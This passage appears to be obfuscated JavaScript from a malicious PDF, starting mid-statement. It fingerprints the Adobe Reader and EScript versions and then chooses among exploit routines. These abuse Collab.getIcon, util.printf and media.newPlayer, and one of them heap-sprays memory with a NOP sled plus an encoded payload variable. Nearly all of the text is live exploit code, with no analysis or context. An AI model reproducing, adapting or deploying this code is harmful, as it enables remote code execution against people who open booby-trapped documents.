tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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